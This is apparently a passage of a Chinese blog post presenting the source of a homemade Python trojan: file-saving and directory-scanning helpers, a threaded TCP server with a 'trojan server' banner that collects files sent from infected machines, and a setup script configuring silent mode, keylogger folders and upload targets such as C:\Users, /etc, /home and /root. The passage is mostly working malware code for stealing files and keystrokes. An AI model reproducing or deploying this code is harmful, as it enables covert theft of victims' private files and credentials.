    fileSize = fileInfo.get(FILE_SIZE_TAG)
    content  = fileInfo.get(FILE_CONTENT_TAG)
    tempFile = fileInfo.get(FILE_BLOCKS_TAG)
    if not fileName:
        logging.debug('invalid filename: %s', fileName)
        return False
    if not fileSize:
        logging.debug('invalid filename: %d', fileSize)
        return False
    if content or tempFile:
        fullName = os.path.join(target, fileName)
        dirname  = os.path.dirname(fullName)
        if not os.path.exists(dirname):
            os.makedirs(dirname)
        if content:
            logging.debug('save content')
            if len(content) != fileSize:
                raise RuntimeError('size unmatched')
            with open(fullName, 'wb') as fp:
                fp.write(content)
        else:
            logging.debug('save blocks from %s to %s', tempFile, fullName)
            if os.path.getsize(tempFile) != fileSize:
                raise RuntimeError('size unmatched')
            shutil.move(tempFile, fullName)
        return True
    else:
        return False

path.py

import os
import stat
from common import *

def split_path(path):
    result = []
    while True:
        head, tail = os.path.split(path)
        if tail:
            result.insert(0, tail)
            path = head
        else:
            head = head.strip('/:\\')
            if head: result.insert(0, head)
            break
    return result

def scan_dir(path):
    try:
        if not isinstance(path, str): return
        if not os.path.exists(path):  return
        st = os.stat(path)
        if not(st.st_mode & stat.S_IRUSR):
            return
        if os.path.isdir(path):
            fileList = os.listdir(path)
        else:
            yield path
            return
    except Exception as e:
        logging.debug('Exception: %s %s, abort', path, str(e))
        return
    for name in fileList:
        fullpath = os.path.join(path, name)
        yield from scan_dir(fullpath)  # Python3

if __name__ == '__main__':
    print(split_path('/home/trojan/source_code/server.py'))

server.py

import os
import socket
import threading
import platform
import logging
from config import *
from common import *
from inout  import InOutException
from netapi import NetAPI, save_file

### change banner here ###
BANNER  = b'7RJN0001 7r0j4n 53rv3r v.0.1 r313453\r\n'
BANNER += b'********************************\r\n'
BANNER += b'*** W31c0m3 70 53nd m3 f!135 ***\r\n'
BANNER += b'********************************\r\n'
##########################

MAX_CONN = 10
target_dir = save_dir.get(platform.system())

def receive_thread(conn, addr, path):
    handler     = NetAPI(conn)
    while True:
        try:
            logging.debug('start recv_file()')
            data    = handler.recv_file()
            logging.debug('return from recv_file()')
            if not data:
                logging.debug('receive_thread: no data, break')
                break
            logging.debug('verify data')
            data    = handler.recv_verify(data)
            if not data:
                logging.debug('data imcomplete')
                continue
            filename = os.path.join(path, addr[0])
            logging.debug('save to %s', filename)
            save_file(data, filename)
        except InOutException as e:
            logging.debug('receive_thread: got exception %s', e.args)
        except socket.error as e:
            logging.debug('receive_thread: got exception %s, break', e.args)
            break
        except Exception as e:
            logging.debug('receive_thread: got exception: %s, break', str(e))
            break
    logging.debug('close connection')
    conn.close()

################
# server start #
################

def server_start(addr):
    thread_flag  = True  # False if debugging
    threads      = []
    serverSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    serverSocket.bind(addr)
    serverSocket.listen(5)
    while True:
        conn, addr  = serverSocket.accept()
        logging.debug('send banner')
        conn.send(BANNER + b'\0')
        if thread_flag:
            # thread
            threads = thread_refresh(threads)
            if len(threads) < MAX_CONN:
                thread = threading.Thread(target=receive_thread, \
                                          args=(conn, addr, target_dir,))
                thread.start()
                threads.append(thread)
            else:
                conn.close()
        else:
            receive_thread(conn, addr, target_dir)
    serverSocket.close()

if __name__ == '__main__':
    server_start(('', PORT, ))

setup.py

import os
import myip

def build_config(fileName, parameters):
    with open(fileName, 'w') as fp:
        maxlen = max([len(x) for x in parameters.keys()])
        for key, value in parameters.items():
            fp.write('%s = %s\n' % (key.ljust(maxlen), str(value)))

if __name__ == '__main__':
    parameters = {
            'MAX_BANNER_LEN':  1024,
            'SILENT_MODE':     True,
            'SERVERS':         [myip.myip_wan(), myip.myip_lan()],
            'PORT':            50006,
            'trojan_dirs':     { 'Windows': 'C:\\Trojan',
                                 'Linux':   '/tmp', },
            'keylogger_dirs':  { 'Windows': ['C:\\KeyLogger'], },
            'upload_dirs':     { 'Windows': ['C:\\Users', 'D:', 'E:', 'F:'],
                                 'Linux':   ['/etc', '/home', '/root'],},
            'max_size':        16 * 1024 * 1024,
            'max_file':        0,
            'update_interval': 60 * 60,   # seconds
            'keylog_interval': 3,
            'save_dir':        {'Windows': 'C:\\temp',
                                'Linux':   '/tmp', }
            }
    dirName  = os.path.dirname(os.path.abspath(__file__))
    fileName = os.path.join(dirName, 'config.py')
    build_config(fileName, parameters)

标签:...,self,VK,send,浅尝,木马,import,path,def
From: https://www.cnblogs.com/demo443/p/17154179.html

相关文章